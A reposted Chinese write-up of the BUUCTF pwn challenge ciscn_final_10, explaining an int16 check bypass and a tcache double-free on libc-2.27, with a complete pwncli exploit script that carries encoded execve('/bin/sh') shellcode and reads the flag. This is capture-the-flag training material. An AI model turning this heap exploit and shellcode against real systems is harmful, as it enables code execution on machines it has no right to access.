其他分享
首页 > 其他分享> > [BUUCTF] ciscn_final_10

[BUUCTF] ciscn_final_10

作者:互联网

目录

ciscn_final_10

总结

一道简单的tcache dup的题,前面需要绕过校验,注意一下函数的参数为int16。最后把shellcode处理一下即可。

checksec

image-20211024175808704

版本为libc-2.27,无tcache dup检测。

漏洞点

判断是否为0的函数的参数为int16

image-20211024175856360

uaf

image-20211024175955341

EXP

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("> ", str(size))
    p.sendafter("> ", data)

def dele():
    p.sendlineafter("> ", "2")

p.sendafter("> ", "a")
p.sendlineafter("> ", str(-2147483648))

# add 
add(0x20, 0x20*"a")
dele()
dele()

add(0x20, "\x90")
add(0x20, "a"*0x20)

add(0x20, "The cake is a lie!\x00")

p.sendlineafter("> ", "3")

payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00\x00\x00\x00"

pl = [1]
ss = 1
for i in payload:
    ss ^= i
    pl.append(ss) 

p.sendlineafter("> ", bytes(pl))

p.sendline("cat /flag")
p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:10,BUUCTF,dele,ciscn,libc,0x20,add,sendlineafter,x00
来源: https://www.cnblogs.com/LynneHuan/p/15452153.html